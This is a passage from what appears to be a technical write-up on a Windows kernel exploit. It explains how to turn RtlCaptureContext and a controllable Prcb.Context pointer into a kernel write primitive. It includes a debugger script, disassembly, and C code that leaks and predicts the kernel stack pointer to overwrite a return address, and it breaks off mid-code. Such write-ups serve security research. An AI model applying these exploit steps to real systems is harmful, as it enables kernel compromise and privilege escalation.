&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;idc.idc&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;--- Logging Points of Interest ---&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;GetEventEa&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;GetDisasmEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;strstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;gs:&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;strstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;jmp r&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;strstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;call r&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;strstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;jmp&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nf"&gt;strstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;[r&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;strstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;call&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nf"&gt;strstr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;[r&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;Message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;-- %s (+%x): %s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;GetFunctionName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nf"&gt;GetFunctionAttr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FUNCATTR_START&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Disasm&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;StepInto&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;GetDebuggerEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;WFNE_SUSP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To my disappointment, there is no convenient jumps or calls. The whole output is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;- KiDebugTrapOrFault (+3d): test word ptr gs:278h, 40h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;- sub_FFFFF8018C207019 (+5): ldmxcsr dword ptr gs:180h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;-- KiExceptionDispatch (+5f): mov rax, gs:188h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;--- KiDispatchException (+48): mov rax, gs:188h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;--- KiDispatchException (+5c): inc gs:5D30h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;---- KeCopyLastBranchInformation (+38): mov rax, gs:20hh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;---- KeQueryCurrentStackInformation (+3b): mov rax, gs:188h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;---- KeQueryCurrentStackInformation (+44): mov rcx, gs:1A8h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;--- KeBugCheckEx (+1a): mov rcx, gs:20h&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This means that we have to find a way to write to kernel-mode memory and abuse that instead. RtlCaptureContext will be a tremendous help here. As I mentioned before, it is taking the context pointer from Pcr.CurrentPrcb-&amp;gt;Context, which is weirdly a &lt;strong&gt;PCONTEXT Context&lt;/strong&gt; and not a &lt;strong&gt;CONTEXT Context&lt;/strong&gt;, meaning we can supply it any kernel address and make it write the context over it.&lt;/p&gt;
&lt;p&gt;I was originally going to make it write over g_CiOptions and continuously NtLoadDriver in another thread, but this idea did not work as well as I thought (That being said, appearently this is the way &lt;a href="https://twitter.com/0xNemi"&gt;@0xNemi&lt;/a&gt; and &lt;a href="https://twitter.com/nickeverdox"&gt;@nickeverdox&lt;/a&gt; got it working. I guess we will see what dark magic they used at BlackHat 2018.) simply because the current thread is stuck in an infinite loop and the other thread trying to NtLoadDriver will not succeed because of the IPI it uses:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;NtLoadDriver-&amp;gt;&amp;hellip;-&amp;gt;MiSetProtectionOnSection-&amp;gt;KeFlushMultipleRangeTb-&amp;gt;IPI-&amp;gt;Deadlock&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After playing around with g_CiOptions for 1-2 days, I thought of a much better idea: overwriting the return address of RtlCaptureContext.&lt;/p&gt;
&lt;p&gt;How are we going to overwrite the return address without having access to RSP? If we use a little bit of creativity, we actually can have access to RSP. We can get the current RSP by making Prcb.Context point to a user-mode memory and polling Context.RSP value from a secondary thread. Sadly, this is not useful by itself as we already passed RtlCaptureContext (our write what where exploit).&lt;/p&gt;
&lt;p&gt;However, if we could return back to KiDebugTrapOrFault after RtlCaptureContext finishes its work and somehow predict the next value of RSP, this would be extremely abusable; which is exactly what we are going to do.&lt;/p&gt;
&lt;p&gt;To return back to KiDebugTrapOrFault, we will again use our lovely debug registers. Right after RtlCaptureContext returns, a call to KiSaveProcessorControlState is made.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014017595&lt;/span&gt;&lt;span class="nf"&gt;F&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;0000000140175968&lt;/span&gt; &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014017596&lt;/span&gt;&lt;span class="nf"&gt;F&lt;/span&gt; &lt;span class="no"&gt;call&lt;/span&gt; &lt;span class="no"&gt;KiSaveProcessorControlState&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;0000000140175&lt;/span&gt;&lt;span class="nf"&gt;C80&lt;/span&gt; &lt;span class="no"&gt;KiSaveProcessorControlState&lt;/span&gt; &lt;span class="no"&gt;proc&lt;/span&gt; &lt;span class="no"&gt;near&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;0000000140175&lt;/span&gt;&lt;span class="nf"&gt;C80&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;cr0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;0000000140175&lt;/span&gt;&lt;span class="nf"&gt;C83&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;0000000140175&lt;/span&gt;&lt;span class="nf"&gt;C86&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;cr2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;0000000140175&lt;/span&gt;&lt;span class="nf"&gt;C89&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;0000000140175&lt;/span&gt;&lt;span class="nf"&gt;C8D&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;cr3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;0000000140175&lt;/span&gt;&lt;span class="nf"&gt;C90&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;0000000140175&lt;/span&gt;&lt;span class="nf"&gt;C94&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;cr4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;0000000140175&lt;/span&gt;&lt;span class="nf"&gt;C97&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;0000000140175&lt;/span&gt;&lt;span class="nf"&gt;C9B&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;cr8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;0000000140175&lt;/span&gt;&lt;span class="nf"&gt;C9F&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A0h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will set DR1 on gs:20h + 0x100 + 0xA0, and make KeBugCheckEx return back to KiDebugTrapOrFault just after it saves the value of CR4.&lt;/p&gt;
&lt;p&gt;To overwrite the return pointer, we will first let KiDebugTrapOrFault-&amp;gt;&amp;hellip;-&amp;gt;RtlCaptureContext execute once giving our user-mode thread an initial RSP value, then we will let it execute another time to get the new RSP, which will let us calculate per-execution RSP difference. This RSP delta will be constant because the control flow is also constant.&lt;/p&gt;
&lt;p&gt;Now that we have our RSP delta, we will predict the next value of RSP, subtract 8 from that to calculate the return pointer of RtlCaptureContext and make Prcb.Context-&amp;gt;Xmm13 - Prcb.Context-&amp;gt;Xmm15 written over it.&lt;/p&gt;
&lt;p&gt;Thread logic will be like the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt; &lt;span class="n"&gt;PCONTEXT&lt;/span&gt; &lt;span class="n"&gt;Ctx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;volatile&lt;/span&gt; &lt;span class="n"&gt;PCONTEXT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Prcb&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Offset_Prcb__Context&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;                 &lt;span class="c1"&gt;// Wait for RtlCaptureContext to be called once so we get leaked RSP
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;StackInitial&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;StackInitial&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;      &lt;span class="c1"&gt;// Wait for it to be called another time so we get the stack pointer difference
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// between sequential KiDebugTrapOrFault
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;StackDelta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;StackInitial&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;PredictedNextRsp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;StackDelta&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;      &lt;span class="c1"&gt;// Predict next RSP value when RtlCaptureContext is called
